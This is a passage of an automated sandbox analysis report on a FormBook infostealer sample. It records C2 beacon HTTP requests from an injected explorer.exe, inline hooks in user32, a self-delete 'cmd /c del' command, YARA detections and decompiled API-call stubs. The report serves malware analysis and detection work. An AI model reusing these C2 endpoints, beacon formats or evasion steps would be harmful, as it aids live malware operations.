0	192.168.2.4	49762	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 10:34:42.267050028 CEST	7599	OUT	GET /kkt/?ibQh=6llLiJzHhP5P5Lj&I48l2h=L0B8w9HUZaOZ7jw4+npXJ0F94zqPsX3Vt6n0qHR8lA3J0yAUFnvUFF5QUXy5W701wjCn HTTP/1.1 Host: www.thedreamcertificate.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 22, 2021 10:34:42.416086912 CEST	7599	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Thu, 22 Jul 2021 08:34:42 GMT Content-Type: text/html Content-Length: 275 ETag: "60f790d8-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49763	195.133.60.76	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 10:35:02.781199932 CEST	7601	OUT	GET /kkt/?I48l2h=JgCZg0ECNQCGdZh+l8D79i0V4/Xiha033Hwln1gAEXgZOLyx1jBrHFXC3spPC1oi0umv&ibQh=6llLiJzHhP5P5Lj HTTP/1.1 Host: www.seahorseblast.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 22, 2021 10:35:02.868242979 CEST	7602	IN	HTTP/1.1 404 Not Found Date: Thu, 22 Jul 2021 08:35:02 GMT Server: Apache X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Length: 202 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6b 6b 74 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /kkt/ was not found on this server.</p></body></html>

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: user32.dll

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x87 0x7E 0xE9
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x8F 0xFE 0xE9
GetMessageW	INLINE	0x48 0x8B 0xB8 0x8F 0xFE 0xE9
GetMessageA	INLINE	0x48 0x8B 0xB8 0x87 0x7E 0xE9

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: 6KdTCZit4e.exe PID: 6568 Parent PID: 5932

General

Start time:	10:32:59
Start date:	22/07/2021
Path:	C:\Users\user\Desktop\6KdTCZit4e.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\6KdTCZit4e.exe'
Imagebase:	0x6f0000
File size:	1148416 bytes
MD5 hash:	ED43FF447CD5486610731A627A930607
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Chronological Activities

Analysis Process: 6KdTCZit4e.exe PID: 6128 Parent PID: 6568

General

Start time:	10:33:29
Start date:	22/07/2021
Path:	C:\Users\user\Desktop\6KdTCZit4e.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\6KdTCZit4e.exe
Imagebase:	0x7b0000
File size:	1148416 bytes
MD5 hash:	ED43FF447CD5486610731A627A930607
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.796818614.0000000001580000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.796818614.0000000001580000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.796818614.0000000001580000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.796897067.00000000015B0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.796897067.00000000015B0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.796897067.00000000015B0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3424 Parent PID: 6128

General

Start time:	10:33:32
Start date:	22/07/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: NETSTAT.EXE PID: 6708 Parent PID: 3424

General

Start time:	10:33:59
Start date:	22/07/2021
Path:	C:\Windows\SysWOW64\NETSTAT.EXE
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\NETSTAT.EXE
Imagebase:	0x200000
File size:	32768 bytes
MD5 hash:	4E20FF629119A809BC0E7EE2D18A7FDB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000D.00000002.924030938.00000000002A0000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000D.00000002.924030938.00000000002A0000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000D.00000002.924030938.00000000002A0000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000D.00000002.924732457.0000000002890000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 4972 Parent PID: 6708

General

Start time:	10:34:05
Start date:	22/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\user\Desktop\6KdTCZit4e.exe'
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6820 Parent PID: 4972

General

Start time:	10:34:06
Start date:	22/07/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: 6KdTCZit4e.exe PID: 6128 Parent PID: 6568 6KdTCZit4e.exeCOMMON

Executed Functions

Function 00419E0A, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(BMA,5EB6522D,FFFFFFFF,00414A01,?,?,BMA,?,00414A01,FFFFFFFF,5EB6522D,00414D42,?,00000000), ref: 00419E55

Strings

BMA, xrefs: 00419E4D, 00419E54
BMA, xrefs: 00419E32, 00419E40

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: BMA$BMA
API String ID: 2738559852-2163208940
Opcode ID: d423d28a46887a95991027f1fc6b9dbb967b4dc16229f4d28ee33bcce15d3ee4
Instruction ID: 2923ce401c32cf3eaadba16ddb3cc02ba4a39d8693a35c7c05a9fb64cd586e21
Opcode Fuzzy Hash: d423d28a46887a95991027f1fc6b9dbb967b4dc16229f4d28ee33bcce15d3ee4
Instruction Fuzzy Hash: 07F049B2200109AFCB04DF88DC81EEB77A9EF8C724F058249FA1C97241C630E851CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00419E10, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00419E10(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t18;
				void* _t27;
				intOrPtr* _t28;

				_t13 = _a4;
				_t28 = _a4 + 0xc48;
				E0041A960(_t27, _t13, _t28,  *((intOrPtr*)(_t13 + 0x10)), 0, 0x2a);
				_t6 =  &_a32; // 0x414d42
				_t12 =  &_a8; // 0x414d42
				_t18 =  *((intOrPtr*)( *_t28))( *_t12, _a12, _a16, _a20, _a24, _a28,  *_t6, _a36, _a40); // executed
				return _t18;
			}

0x00419e13
0x00419e1f
0x00419e27
0x00419e32
0x00419e4d
0x00419e55
0x00419e59

APIs

NtReadFile.NTDLL(BMA,5EB6522D,FFFFFFFF,00414A01,?,?,BMA,?,00414A01,FFFFFFFF,5EB6522D,00414D42,?,00000000), ref: 00419E55

Strings

BMA, xrefs: 00419E4D, 00419E54
BMA, xrefs: 00419E32, 00419E40

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: BMA$BMA
API String ID: 2738559852-2163208940
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: bd248b349f18b2ced93d1e709abaf342431bbeaaaaa26160fd0c904447d41470
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: 45F0B7B2210208AFCB14DF89DC81EEB77ADEF8C754F158649BE1DA7241D630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACD0, Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0040AD42

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction ID: b21dceb9c17b581325113e7f9749888d8b8163c3e846858d6705abbd9991eecb
Opcode Fuzzy Hash: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction Fuzzy Hash: A8015EB5D4020DBBDF10DBA5DC82FDEB3789F54308F0041AAE909A7281F635EB548B96

Uniqueness

Uniqueness Score: -1.00%

Function 00419D5A, Relevance: 1.5, APIs: 1, Instructions: 43filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00409CD3,?,00414B87,00409CD3,FFFFFFFF,?,?,FFFFFFFF,00409CD3,00414B87,?,00409CD3,00000060,00000000,00000000), ref: 00419DAD

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8d4469e25ea6339a6d78ef32bad5d41cb8a0887f7274499fafa4c48bfb05778c
Instruction ID: 7114f569ce6a7fa02e3dd21168807b6094edd38ed0fdad69c54db1872ca6c328
Opcode Fuzzy Hash: 8d4469e25ea6339a6d78ef32bad5d41cb8a0887f7274499fafa4c48bfb05778c
Instruction Fuzzy Hash: 0D01E4B2211108ABCB08CF98DC91EEB37ADAF8C714F158248FA0CA7241C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419D60, Relevance: 1.5, APIs: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00409CD3,?,00414B87,00409CD3,FFFFFFFF,?,?,FFFFFFFF,00409CD3,00414B87,?,00409CD3,00000060,00000000,00000000), ref: 00419DAD

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 5d405ca8330a7760d33d8cb8f94c0e61ce0ec213ce21d6c827413d184fac496c
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: F1F0B2B2211208ABCB08CF89DC85EEB77ADAF8C754F158248BA0D97241C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419F40, Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041AB34,?,00000000,?,00003000,00000040,00000000,00000000,00409CD3), ref: 00419F79

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: 9c08e1581e5817f7e91e4b21b7a397560e598f802d56d9274a49c90b7c070efe
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: 1EF015B2210208ABCB14DF89CC81EEB77ADEF88754F158549BE08A7241C630F810CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419E90, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(00414D20,?,?,00414D20,00409CD3,FFFFFFFF), ref: 00419EB5

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: e68336ecf97fcbff1cce52d5eab911d0c0d253976a6ab71543f56f2ca0e2158f
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: 6CD012752002146BD710EB99CC85ED7776CEF44760F154459BA5C5B242C530F55086E0

Uniqueness

Uniqueness Score: -1.00%

Function 00409A90, Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1da3a0a51de53f8e4f95f41efafe70bd92c6e1b826fb8f0c5d51986441d80343
Instruction ID: 3804b4b6881f0f279124858c5e35b72bf87e4fbc11d5a75f000cd7e24852ad46
Opcode Fuzzy Hash: 1da3a0a51de53f8e4f95f41efafe70bd92c6e1b826fb8f0c5d51986441d80343
Instruction Fuzzy Hash: 64213CB2D4020857CB25D664AD42AEF737CEB54308F04017FE949A3182F7387E49CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004082F0, Relevance: 1.6, APIs: 1, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040834A

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: afab1aa1c4a0f2d606ceb08e1db99e52839e25c93945885a0af06a200761294b
Instruction ID: 99221eaed4bb2b1c73ef210b546efabe7985b039c1aa6a3efaa8447a865c7254
Opcode Fuzzy Hash: afab1aa1c4a0f2d606ceb08e1db99e52839e25c93945885a0af06a200761294b
Instruction Fuzzy Hash: 7601D831A8031876E720A6959C43FFE772C6B40F54F044019FF04BA1C1D6A8691646EA

Uniqueness

Uniqueness Score: -1.00%

Function 0041A241, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1A2,0040F1A2,0000003C,00000000,?,00409D45), ref: 0041A200

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: bbc0302fce18166d6c211f8d51024d216f3fab59fd3d4246740f2e298f5ee8a5
Instruction ID: b0d9ebc24d67e75e4bb28eec1c2ff80cbec37cc124bb13a41a87bbb5e6b5e095
Opcode Fuzzy Hash: bbc0302fce18166d6c211f8d51024d216f3fab59fd3d4246740f2e298f5ee8a5
Instruction Fuzzy Hash: 7BE0ED762112086AD610EB989C48CEAB7ADEBC4270F01C006F90C43602D235E96482E0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A062, Relevance: 1.5, APIs: 1, Instructions: 31memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00409CD3,?,?,00409CD3,00000060,00000000,00000000,?,?,00409CD3,?,00000000), ref: 0041A09D

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 313005192c596f1aa4cb30124076278eeb6feeaeee0a0efd466b2b4bbc2912fc
Instruction ID: 0d108cbcb70d5d8434df5023596c011c2f9820c626e7444016a9426121d813be
Opcode Fuzzy Hash: 313005192c596f1aa4cb30124076278eeb6feeaeee0a0efd466b2b4bbc2912fc
Instruction Fuzzy Hash: 4BF0EDB4200208BFE718DF55DC8AEE737ACEF44720F004649F90D97242C231E821CAE0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A1C1, Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1A2,0040F1A2,0000003C,00000000,?,00409D45), ref: 0041A200

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 16d4fadeb4c1408d8e9f6f764fada7d50b168b2fa9252f8dee282eb280f276b9
Instruction ID: e4e1e799ed138a97488f423adfad5e6644dce6394755419f9592347baa1d9b31
Opcode Fuzzy Hash: 16d4fadeb4c1408d8e9f6f764fada7d50b168b2fa9252f8dee282eb280f276b9
Instruction Fuzzy Hash: B7F08CB1600204AFCB10DF65CC81EEB7768EF89720F148559F949A7242DA31A952CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A070, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00409CD3,?,?,00409CD3,00000060,00000000,00000000,?,?,00409CD3,?,00000000), ref: 0041A09D

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: ebe44f756a2289fd31ae4d5b5361048190c1dc89d00c79db85c43397b2838655
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: 81E01AB12102086BD714DF59CC45EA777ACEF88750F018559B90857241C630E9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A030, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00414506,?,00414C7F,00414C7F,?,00414506,?,?,?,?,?,00000000,00409CD3,?), ref: 0041A05D

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: 0bf4e0d92ddb4de2ba6a166865ddf054dca1a4f918bcd24d9368b88a9b8aca1a
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: F1E012B1210208ABDB14EF99CC81EA777ACEF88664F158559BA086B242C630F9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 0041A0A2, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A0D8

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 73ce3c31794c9e95988566a52458a1d62bf36adbaf4c71415ef702b2397d824b
Instruction ID: 545e44226ec553a958037e2e817296c066fcc0ef9a00f400eba02b7db1c60842
Opcode Fuzzy Hash: 73ce3c31794c9e95988566a52458a1d62bf36adbaf4c71415ef702b2397d824b
Instruction Fuzzy Hash: EBE0DF711042487BD7219B688C95FEBBBE8DF4AB60F148498B9C85B202CA31E901C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 0041A1D0, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1A2,0040F1A2,0000003C,00000000,?,00409D45), ref: 0041A200

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: 46e8f913edfca5d9b668009ee454d724baa27d6f5a7db77fbc9955010344b6d9
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction Fuzzy Hash: 22E01AB12002086BDB10DF49CC85EE737ADEF88650F018555BA0C67241C934E8508BF5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A0B0, Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A0D8

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction ID: eb2c75e7f7166c4cf28644cd9339eacac336c717648a3dafe3de7fd5e277bb7f
Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction Fuzzy Hash: 4CD017726102187BD620EB99CC85FD777ACDF48BA0F0584A9BA5C6B242C531BA108AE1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00409E40, Relevance: 1.7, Strings: 1, Instructions: 423COMMON

Download Yara Rule

Strings

(, xrefs: 0040A15C

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 5b5895f0e51fce406fdbb92f5fe0f57fd39733701dba8a51bdd5afbf1107f5ef
Instruction ID: 761c4a68b585b28a38f9816625c1c2cc86ae2b6e7acc08c6d3f539b6cea400a7
Opcode Fuzzy Hash: 5b5895f0e51fce406fdbb92f5fe0f57fd39733701dba8a51bdd5afbf1107f5ef
Instruction Fuzzy Hash: 6C022CB6E006189FDB14CF9AC8805DDFBF2FF88314F1AC1AAD859A7355D6746A418F80

Uniqueness

Uniqueness Score: -1.00%

Function 00409E3B, Relevance: 1.7, Strings: 1, Instructions: 423COMMON

Download Yara Rule

Strings

(, xrefs: 0040A15C

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 2e4b19c3878bc3f46b0ecfd9c463997c1c3811ff25d3f64068b3045511867438
Instruction ID: 113456bd16595ff2d91a924239dd5a2b2d85191791bf546ec6d9693be0fd2600
Opcode Fuzzy Hash: 2e4b19c3878bc3f46b0ecfd9c463997c1c3811ff25d3f64068b3045511867438
Instruction Fuzzy Hash: A8021CB6E006189FDB14CF9AC8805DDFBF2FF88314F1AC1AAD859A7355D6746A418F80

Uniqueness

Uniqueness Score: -1.00%

Function 00402FB0, Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.792849864.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 937a55679482902739b3c28cbd4d4033f685ec815d12dd2f022c6521ee9f93e4
Instruction ID: 3a980b568be2ae1ecdc62ef5b70c599cea3cbb84bd4cfa04f309e58bee3fdca8
Opcode Fuzzy Hash: 937a55679482902739b3c28cbd4d4033f685ec815d12dd2f022c6521ee9f93e4
Instruction Fuzzy Hash: 37026E73E547164FE720CE4ACDC4725B3A3EFC8301F5B81B8CA142B613CA39BA525A90

Uniqueness

Uniqueness Score: -1.00%

Function 0041D1AB, Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

